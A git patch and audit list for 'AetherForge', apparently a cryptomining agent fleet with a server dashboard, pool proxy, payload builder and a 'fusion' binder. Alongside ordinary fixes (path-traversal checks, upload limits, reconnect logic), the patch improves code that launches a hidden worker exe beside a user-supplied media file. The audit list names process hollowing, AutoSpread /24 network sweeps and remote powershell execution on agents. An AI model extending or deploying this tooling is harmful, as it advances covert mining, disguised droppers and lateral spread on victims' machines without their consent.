From f9e26bb1a6aceec17b566faf2df6690532959c8c Mon Sep 17 00:00:00 2001 From: drjones Date: Fri, 29 May 2026 09:57:22 -0700 Subject: [PATCH] Fix bugs found in full security and stability audit. Harden artifact paths and fusion uploads, repair pool reconnect and login ID tracking, fix agent/fusion/frontend regressions, and refresh PROBLEMS.md with the full findings list. --- PROBLEMS.md | 124 +++++++++++++----- agent/client/ai.go | 20 ++- agent/client/client.go | 16 +++ fusion/main.go | 7 +- server/internal/api/handlers.go | 6 + server/internal/api/router.go | 5 + server/internal/builder/handler.go | 95 ++++++++++---- server/internal/pool/proxy.go | 32 ++++- .../web/src/components/Fleet/FleetToolbar.tsx | 12 ++ server/web/src/components/SessionGate.tsx | 22 +++- server/web/src/hooks/useWebSocket.ts | 11 ++ server/web/src/pages/AgentsPage.tsx | 8 +- server/web/src/pages/DashboardPage.tsx | 5 + 13 files changed, 281 insertions(+), 82 deletions(-) diff --git a/PROBLEMS.md b/PROBLEMS.md index 5f8d70c..23a2672 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -1,75 +1,123 @@ # AetherForge — Problem Audit -Findings grouped by severity. Updated after bug-sweep pass. +Findings grouped by severity. Updated after full bug-hunt pass (May 2026). -**Last verified:** `go test ./...` in `server/` and `agent/`, `npm run build` in `server/web/`, double-click `run.bat`. +**Last verified:** `go test ./...` in `server/` and `agent/`, `npm test && npm run build` in `server/web/`. --- -## Fixed (recent passes) +## Fixed (this pass) + +| ID | Fix | +|----|-----| +| B1 | **Pool jobs stop after disconnect** — `readLoop` now waits for reconnect instead of exiting; login tracked by `loginRequestID` not hardcoded `1` | +| B2 | **Fusion upload disk exhaustion** — `io.LimitReader` + reject unknown upload size | +| B3 | **Artifact path traversal** — `safePathUnderRoot()`; `export_dir` limited to `fusion-deliverables//`; build ID validated before serve | +| B4 | **Multipart forge without fusion** — `prep_exe` only required when `fusion_enabled` | +| B5 | **Build succeeds when DB insert fails** — forge now fails if `InsertBuild` errors | +| B6 | **Query limit DoS** — stats/shares `limit` capped at 1000 | +| B7 | **SPA static `..` traversal** — blocked in router fallback | +| B8 | **React 18 + R3F v9 crash** — pinned `@react-three/fiber@8` / `drei@9` (blank black screen) | +| B9 | **SessionGate stale token on network error** — catch sets `authed=false` | +| B10 | **AgentsPage notes/tags wiped while typing** — drafts sync only on agent switch | +| B11 | **WS reconnect timer stacking** — clear timer + close existing socket before reconnect | +| B12 | **Dashboard bulk select limited to top 12** — “Select all filtered” in FleetToolbar | +| B13 | **Dashboard bulk errors silent** — catch + alert | +| B14 | **AI `restart_miner` missing `.exe`** — normalize image name for taskkill/stat/start | +| B15 | **AI reinstall `http.Get` no timeout** — uses `httpClient` | +| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately | +| B17 | **Agent empty `new_job`** — logs error and re-requests job | +| B18 | **Agent WS read deadline** — `PongHandler` extends deadline on server ping | + +--- + +## Fixed (earlier passes) | ID | Fix | |----|-----| | C1 | `BroadcastServerLog` on `WSHub` | | C2 | `EncodeToString` in agent download handler | -| C3 | `AgentRemoteActions` legacy props (`agent`, `compact`) | +| C3 | `AgentRemoteActions` legacy props | | C4 | `useWebSocket` `latestMessage` + Agents detail wiring | | C5 | Agent handlers: `ps`, `netstat`, `users`, `software`, `screenshot` | | C6 | `NewMeshNode(c)` in `NewAgentClient` | | H1 | WS reconnect: only mark offline if closing conn is still active | -| H2 | WS pre-auth guard on `stats`, `submit_share`, `get_job`, `log_tail`, `command_result` | -| H3 | Share submit via async pool queue + `go proxy.SubmitShare` in read loop | +| H2 | WS pre-auth guard on agent message types | +| H3 | Share submit via async pool queue | | H4 | Fleet broadcast `all` fails when zero agents connected | | H5–H8 | AI: build ID reinstall, uptime, sleep parse, decide HTTP/error field | | H10 | Download uses `EncodeToString` | | H13 | `run.bat` fails on frontend build error; kills stale server before bind | -| M3 | `stats_update` includes memory, uptime, shares (server + web hook) | +| M3 | `stats_update` includes memory, uptime, shares | | M5 | Removed blocking 800ms sleep in `GetAgentLog` | | M8 | `GetEngine` lock pattern simplified | | M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` | | M11 | Blueprint delete returns boolean `success` | -| — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) | -| — | Fleet filters, bulk commands, per-agent notes/tags (SQLite) | -| — | Ollama prompt: `reinstall_miner` uses `build_id` | -| — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) | --- -## Still open +## Still open — Critical / security -### Critical / security +| ID | Issue | Notes | +|----|-------|-------| +| S1 | **Unauthenticated build downloads** | `/api/v1/builds/{id}/download` and `/artifact/` bypass auth (intentional for agent reinstall — UUID is the secret) | +| S2 | **Unauthenticated agent WebSocket** | `/ws/agent` — any client can claim any `agent_id` | +| S3 | **Unauthenticated dashboard WebSocket** | `/ws/dashboard` — full fleet telemetry without login | +| S4 | **Unauthenticated AI endpoints** | `/api/v1/agent/decide`, `/report`, `/heartbeat` — SSRF via caller-supplied Ollama URL | +| S5 | **Default credentials in source** | `drjones` / `czapiewski` until `data/users.json` exists | +| S6 | **Plaintext passwords** | `users.json` stores cleartext; any authed user can POST `/users` | +| S7 | **Remote code execution via API** | Authenticated users can send `powershell`/`exec`/`upload` to any online agent — by design, treat as root | -| ID | Issue | -|----|-------| -| C7 | Partial — REST `/api/v1` requires basic auth; dashboard WebSocket + SPA are open. Use **Calibrate → Save session login** so fetch calls authenticate. | -| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) on agents that connect to your server | +--- -### High (intentional / deploy-time) +## Still open — High -| ID | Issue | -|----|-------| -| H9 | `upload_log` returns content in tool report only (no dedicated log ingest API) | -| H11 | `AutoSpread` still runs when baked `true` in forge | -| H12 | Process hollowing available with `-tags hollow` + forge flag | +| ID | Issue | Notes | +|----|-------|-------| +| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API | +| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled | +| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` | +| H14 | **Partial config PUT corrupts bools** | `mergeConfig` overwrites `UseTLS`, logging flags, etc. with zero values | +| H15 | **Agent `conn` data race** | `submitShare` reads `c.conn` without mutex | +| H16 | **AI reinstall while running** | `os.Rename` fails on Windows when exe in use | +| H17 | **Pool `requestID` / write races** | Concurrent share submits can interleave Stratum lines | +| H18 | **WS concurrent writes** | Ping loop vs broadcast on same dashboard connections | -### Medium / UX +--- -| ID | Issue | -|----|-------| -| M1 | Compact agent list default — expand on click; full detail panel retained | -| M6 | Remote actions disabled unless `status === online` (list, detail, dashboard) | -| M7 | Row click vs button bubbling (compact uses `stopPropagation`) | -| M9 | Fusion uses vendored `go-winres` (module + optional `go install` via run.bat) | +## Still open — Medium / UX -### Low +| ID | Issue | Notes | +|----|-------|-------| +| M1 | Compact agent list default | Expand on click | +| M6 | Remote actions disabled unless `online` | By design | +| M9 | Fusion uses vendored `go-winres` | Optional via run.bat | +| M12 | **Multiple `useWebSocket()` hooks** | Dashboard + Matrix overlay = duplicate connections | +| M13 | **`latestWsMessage` drops rapid results** | Only last message kept; command results can be lost | +| M14 | **Batch forge no cancel/abort** | State updates after navigate away | +| M15 | **Re-forge fusion without re-upload** | `reForgeFromBuild` needs prep file | +| M16 | **Earnings estimator race** | Stale API response can overwrite newer estimate | +| M17 | **`MaxAgents` TOCTOU** | Limit checked before lock on agent WS auth | +| M18 | **`GetAgentLog?refresh=1` blocks** | Up to ~1.8s synchronous sleep per request | +| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners | +| M20 | **Autospread goroutine storm** | Up to ~254 goroutines per /24 sweep | + +--- + +## Still open — Low | ID | Issue | |----|-------| | L1 | Dead CSS `.agent-actions` in `FleetPanels.css` | | L2 | Duplicate CSS imports on Dashboard/Agents | -| L3 | WS payloads typed in `types/ws.ts` + `api/ws_types.go` (partial — not all message types) | +| L3 | WS payloads typed in two places (`types/ws.ts` + Go) | | L4 | No integration tests for remote actions | -| L5 | Mesh P2P requires build tag `p2p` for full libp2p | +| L5 | Mesh P2P requires build tag `p2p` | +| L6 | `terminalLog` / `agentLogs` grow without bound | +| L7 | Matrix overlay restarts animation on every share | +| L8 | Settings config import shallow-merge | +| L9 | Blueprint files written mode `0644` | +| L10 | XOR media crypto — weak confidentiality by design | --- @@ -81,3 +129,13 @@ cd ..\agent && go test ./... && go build . cd ..\server\web && npm test && npm run build run.bat ``` + +--- + +## Priority for next pass + +1. Agent WS token auth (bind `agent_id` to build secret) +2. Dashboard WS auth (match REST Basic auth) +3. Config merge with pointer types / explicit fields +4. Shared WebSocket context (single connection app-wide) +5. Process hollowing bounds + reloc (`hollow_windows.go`) diff --git a/agent/client/ai.go b/agent/client/ai.go index 42a3a28..1d88826 100644 --- a/agent/client/ai.go +++ b/agent/client/ai.go @@ -475,20 +475,28 @@ func (a *AIRunner) isProcessRunning(name string) bool { if name == "" { return false } - // Use tasklist on Windows to check if process is running - cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", name)) + imName := name + if !strings.HasSuffix(strings.ToLower(imName), ".exe") { + imName += ".exe" + } + cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName)) output, err := cmd.Output() if err != nil { return false } - return strings.Contains(string(output), name) + return strings.Contains(string(output), imName) } func (a *AIRunner) restartMiner(processName string) (string, error) { log.Printf("[AI] Restarting miner: %s", processName) + imName := processName + if !strings.HasSuffix(strings.ToLower(imName), ".exe") { + imName += ".exe" + } + // Kill existing process - killCmd := exec.Command("taskkill", "/F", "/IM", processName) + killCmd := exec.Command("taskkill", "/F", "/IM", imName) killOutput, _ := killCmd.CombinedOutput() // Start new process from install directory @@ -497,7 +505,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) { return string(killOutput), fmt.Errorf("cannot get install directory: %w", err) } - exePath := filepath.Join(installDir, processName) + exePath := filepath.Join(installDir, imName) if _, err := os.Stat(exePath); os.IsNotExist(err) { return string(killOutput), fmt.Errorf("executable not found: %s", exePath) } @@ -524,7 +532,7 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) { exePath := filepath.Join(installDir, a.cfg.EffectiveProcessName()+".exe") // Download the new binary - resp, err := http.Get(downloadURL) + resp, err := a.httpClient.Get(downloadURL) if err != nil { return "", fmt.Errorf("download failed: %w", err) } diff --git a/agent/client/client.go b/agent/client/client.go index 7a085d8..b495205 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -112,6 +112,10 @@ func (c *AgentClient) connectLoop() error { c.conn = conn defer conn.Close() + conn.SetPongHandler(func(string) error { + return conn.SetReadDeadline(time.Now().Add(90 * time.Second)) + }) + if err := c.authenticate(); err != nil { return err } @@ -183,12 +187,24 @@ func (c *AgentClient) authenticate() error { func (c *AgentClient) handleMessage(msg Message) { switch msg.Type { case "new_job": + var raw map[string]json.RawMessage + if err := json.Unmarshal(msg.Payload, &raw); err != nil { + log.Printf("[agent] bad job payload: %v", err) + return + } + if errMsg, ok := raw["error"]; ok { + log.Printf("[agent] job error from server: %s", string(errMsg)) + c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + return + } var j job.Job if err := json.Unmarshal(msg.Payload, &j); err != nil { log.Printf("[agent] bad job payload: %v", err) return } if j.Blob == "" { + log.Printf("[agent] empty job blob — requesting job again") + c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) return } log.Printf("[agent] new job %s height=%d", j.ID, j.Height) diff --git a/fusion/main.go b/fusion/main.go index d7d8e57..082036d 100644 --- a/fusion/main.go +++ b/fusion/main.go @@ -113,8 +113,7 @@ func runFusionOrder(workerPath, primaryPath string, runPrimary func()) { launchWorker(workerPath) case "worker_first": launchWorker(workerPath) - waitProcess(workerPath) - runPrimary() + go runPrimary() default: launchWorker(workerPath) var wg sync.WaitGroup @@ -219,7 +218,9 @@ func launchWorker(path string) { cmd := exec.Command(path) cmd.Dir = filepath.Dir(path) applyHiddenStart(cmd) - _ = cmd.Start() + if err := cmd.Start(); err != nil { + fmt.Fprintf(os.Stderr, "fusion: worker start failed: %v\n", err) + } } func waitProcess(path string) { diff --git a/server/internal/api/handlers.go b/server/internal/api/handlers.go index 59474f7..70072c1 100644 --- a/server/internal/api/handlers.go +++ b/server/internal/api/handlers.go @@ -60,6 +60,9 @@ func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) { if l, err := strconv.Atoi(limitStr); err == nil && l > 0 { limit = l } + if limit > 1000 { + limit = 1000 + } samples, err := h.db.GetHashrateHistory(id, limit) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) @@ -78,6 +81,9 @@ func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) { if l, err := strconv.Atoi(limitStr); err == nil && l > 0 { limit = l } + if limit > 1000 { + limit = 1000 + } shares, err := h.db.GetRecentShares(limit) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index eab3d16..b4764b9 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -199,6 +199,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/*", func(w http.ResponseWriter, r *http.Request) { // Clean the path path := strings.TrimPrefix(r.URL.Path, "/") + if path == "" || strings.Contains(path, "..") { + w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate") + http.ServeFile(w, r, filepath.Join(webRoot, "index.html")) + return + } fullPath := filepath.Join(webRoot, path) // Check if the file exists diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 2f801a2..d996e20 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -176,27 +176,31 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } file, header, err := r.FormFile("prep_exe") - if err != nil { - writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"}) - return + if req.FusionEnabled { + if err != nil { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"}) + return + } + defer file.Close() + if req.FusionMediaBaseName == "" && header.Filename != "" { + req.FusionMediaBaseName = header.Filename + } + if req.FusionOutputName == "" && header.Filename != "" { + req.FusionOutputName = header.Filename + } + if req.FusionPayloadKind == "" { + req.FusionPayloadKind = detectFusionPayloadKind(header.Filename) + } + saved, remove, err := h.saveUploadedFusionPayload(file, header) + if err != nil { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) + return + } + prepPath = saved + cleanupPrep = remove + } else if err == nil { + file.Close() } - defer file.Close() - if req.FusionMediaBaseName == "" && header.Filename != "" { - req.FusionMediaBaseName = header.Filename - } - if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" { - req.FusionOutputName = header.Filename - } - if req.FusionPayloadKind == "" { - req.FusionPayloadKind = detectFusionPayloadKind(header.Filename) - } - saved, remove, err := h.saveUploadedFusionPayload(file, header) - if err != nil { - writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) - return - } - prepPath = saved - cleanupPrep = remove } else { if err := json.NewDecoder(r.Body).Decode(&req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"}) @@ -327,19 +331,28 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) { func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") + if _, err := h.db.GetBuild(buildID); err != nil { + http.Error(w, "Build not found", http.StatusNotFound) + return + } name := sanitizeFileName(chi.URLParam(r, "name")) - if name == "" { + if name == "" || strings.Contains(name, "..") { http.Error(w, "Invalid artifact name", http.StatusBadRequest) return } buildDir := filepath.Join(h.dataDir, "builds", buildID) - path := filepath.Join(buildDir, name) - if _, err := os.Stat(path); err != nil { - // Paired media may live in fusion export dir — try deliverables folder from query - if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" { - path = filepath.Join(exportDir, name) + path, err := safePathUnderRoot(buildDir, name) + if err != nil { + if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" { + title = sanitizeFileName(filepath.Base(title)) + deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir) + path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name) } } + if err != nil { + http.Error(w, "Artifact not found", http.StatusNotFound) + return + } if _, err := os.Stat(path); err != nil { http.Error(w, "Artifact not found", http.StatusNotFound) return @@ -570,6 +583,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, } if err := h.db.InsertBuild(buildRecord); err != nil { log.Printf("Failed to record build: %v", err) + return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, "" } resp := BuildResponse{ @@ -785,6 +799,9 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa if header.Size > FusionMaxUploadBytes { return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes)) } + if header.Size < 0 { + return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file") + } baseName := filepath.Base(header.Filename) if baseName == "" || baseName == "." { return "", nil, fmt.Errorf("fusion upload filename is invalid") @@ -807,7 +824,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa os.RemoveAll(dir) return "", nil, err } - written, err := io.Copy(out, file) + written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1)) out.Close() if err != nil { os.RemoveAll(dir) @@ -1049,6 +1066,30 @@ func sanitizeFileName(name string) string { return replacer.Replace(name) } +// safePathUnderRoot resolves name under root and rejects traversal escapes. +func safePathUnderRoot(root, name string) (string, error) { + if name == "" || strings.Contains(name, "..") { + return "", fmt.Errorf("invalid path") + } + cleanName := filepath.Clean(name) + if filepath.IsAbs(cleanName) { + return "", fmt.Errorf("invalid path") + } + absRoot, err := filepath.Abs(root) + if err != nil { + return "", err + } + full := filepath.Join(absRoot, cleanName) + absFull, err := filepath.Abs(full) + if err != nil { + return "", err + } + if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) { + return "", fmt.Errorf("path escapes root") + } + return absFull, nil +} + func writeJSON(w http.ResponseWriter, status int, v interface{}) { w.Header().Set("Content-Type", "application/json") w.WriteHeader(status) diff --git a/server/internal/pool/proxy.go b/server/internal/pool/proxy.go index 559078c..1f0824d 100644 --- a/server/internal/pool/proxy.go +++ b/server/internal/pool/proxy.go @@ -63,7 +63,8 @@ type Proxy struct { conn net.Conn reader *bufio.Reader connected bool - requestID int + requestID int + loginRequestID int currentJob *Job jobSubscribed bool stopCh chan struct{} @@ -260,7 +261,11 @@ func (p *Proxy) SubmitShare(agentID, wallet, jobID, nonce, hash string, onResult } func (p *Proxy) authenticate() error { + p.mu.Lock() p.requestID++ + loginID := p.requestID + p.loginRequestID = loginID + p.mu.Unlock() // Login request loginParams := []interface{}{ @@ -271,7 +276,7 @@ func (p *Proxy) authenticate() error { paramsData, _ := json.Marshal(loginParams) loginReq := StratumRequest{ - ID: p.requestID, + ID: loginID, Method: "login", Params: paramsData, } @@ -317,7 +322,22 @@ func (p *Proxy) readLoop() { } p.scheduleReconnect() - return + // Wait for reconnect before resuming reads (readLoop stays alive). + for i := 0; i < 600; i++ { + select { + case <-p.stopCh: + return + default: + } + p.mu.RLock() + ok := p.connected && p.reader != nil + p.mu.RUnlock() + if ok { + break + } + time.Sleep(100 * time.Millisecond) + } + continue } line = strings.TrimSpace(line) @@ -367,7 +387,11 @@ func (p *Proxy) handleResponse(resp StratumResponse) { return } - if resp.ID == 1 { + p.mu.RLock() + loginID := p.loginRequestID + p.mu.RUnlock() + + if resp.ID == loginID { // Login response var loginResult struct { ID string `json:"id"` diff --git a/server/web/src/components/Fleet/FleetToolbar.tsx b/server/web/src/components/Fleet/FleetToolbar.tsx index 34fe7a4..17a6858 100644 --- a/server/web/src/components/Fleet/FleetToolbar.tsx +++ b/server/web/src/components/Fleet/FleetToolbar.tsx @@ -9,6 +9,8 @@ interface Props { onChange: (next: FleetFilterState) => void; selectedCount: number; onBulkAction: (action: string) => void; + onSelectAllFiltered?: () => void; + filteredCount?: number; bulkBusy: boolean; } @@ -18,6 +20,8 @@ export default function FleetToolbar({ onChange, selectedCount, onBulkAction, + onSelectAllFiltered, + filteredCount, bulkBusy, }: Props) { const tags = collectFleetTags(agents); @@ -78,6 +82,14 @@ export default function FleetToolbar({ </label> </div> + {onSelectAllFiltered && (filteredCount ?? 0) > 0 && selectedCount === 0 && ( + <div className="fleet-bulk-bar"> + <button type="button" className="btn btn-outline btn-sm" onClick={onSelectAllFiltered}> + Select all filtered ({filteredCount}) + </button> + </div> + )} + {selectedCount > 0 && ( <div className="fleet-bulk-bar"> <span className="font-tech">{selectedCount} selected</span> diff --git a/server/web/src/components/SessionGate.tsx b/server/web/src/components/SessionGate.tsx index 5e5a3e4..9555431 100644 --- a/server/web/src/components/SessionGate.tsx +++ b/server/web/src/components/SessionGate.tsx @@ -11,6 +11,7 @@ export default function SessionGate({ children }: { children: ReactNode }) { useEffect(() => { const token = getStoredAuth(); if (!token) { + setAuthed(false); setReady(true); return; } @@ -19,20 +20,27 @@ export default function SessionGate({ children }: { children: ReactNode }) { setAuthed(r.ok); setReady(true); }) - .catch(() => setReady(true)); + .catch(() => { + setAuthed(false); + setReady(true); + }); }, []); const handleLogin = async (e: React.FormEvent) => { e.preventDefault(); setErr(''); const token = btoa(`${user}:${pass}`); - const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } }); - if (!res.ok) { - setErr('Login failed — check username and password.'); - return; + try { + const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } }); + if (!res.ok) { + setErr('Login failed — check username and password.'); + return; + } + setStoredAuth(user, pass); + setAuthed(true); + } catch { + setErr('Cannot reach server — check that miner-server is running.'); } - setStoredAuth(user, pass); - setAuthed(true); }; if (!ready) { diff --git a/server/web/src/hooks/useWebSocket.ts b/server/web/src/hooks/useWebSocket.ts index 991018b..f2148c8 100644 --- a/server/web/src/hooks/useWebSocket.ts +++ b/server/web/src/hooks/useWebSocket.ts @@ -35,6 +35,16 @@ export function useWebSocket(): UseWebSocketReturn { const connect = useCallback(() => { if (unmounted.current) return; + if (reconnectTimer.current) { + clearTimeout(reconnectTimer.current); + reconnectTimer.current = null; + } + + const existing = wsRef.current; + if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) { + existing.close(); + } + const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`; @@ -48,6 +58,7 @@ export function useWebSocket(): UseWebSocketReturn { ws.onclose = () => { if (unmounted.current) return; setIsConnected(false); + if (reconnectTimer.current) clearTimeout(reconnectTimer.current); reconnectTimer.current = setTimeout(connect, 3000); }; diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index 9aeec64..71758a0 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -45,6 +45,12 @@ export default function AgentsPage() { .finally(() => setLoading(false)); }, []); + useEffect(() => { + if (!selectedAgent) return; + setNotesDraft(selectedAgent.notes || ''); + setTagsDraft((selectedAgent.tags || []).join(', ')); + }, [selectedAgent?.id]); + useEffect(() => { if (!isConnected) return; setAgents(liveAgents); @@ -52,8 +58,6 @@ export default function AgentsPage() { const updated = liveAgents.find((a) => a.id === selectedAgent.id); if (updated) { setSelectedAgent(updated); - setNotesDraft(updated.notes || ''); - setTagsDraft((updated.tags || []).join(', ')); } else { setSelectedAgent(null); setLogContent(''); diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index 3256e88..3aeffb5 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -128,6 +128,9 @@ export default function DashboardPage() { setBulkBusy(true); try { await api.sendBulkCommand(onlineIds, action); + } catch (err) { + console.error(err); + alert(err instanceof Error ? err.message : 'Bulk command failed'); } finally { setBulkBusy(false); } @@ -269,6 +272,8 @@ export default function DashboardPage() { filters={filters} onChange={setFilters} selectedCount={selectedIds.size} + filteredCount={filteredAgents.length} + onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))} onBulkAction={handleBulkAction} bulkBusy={bulkBusy} />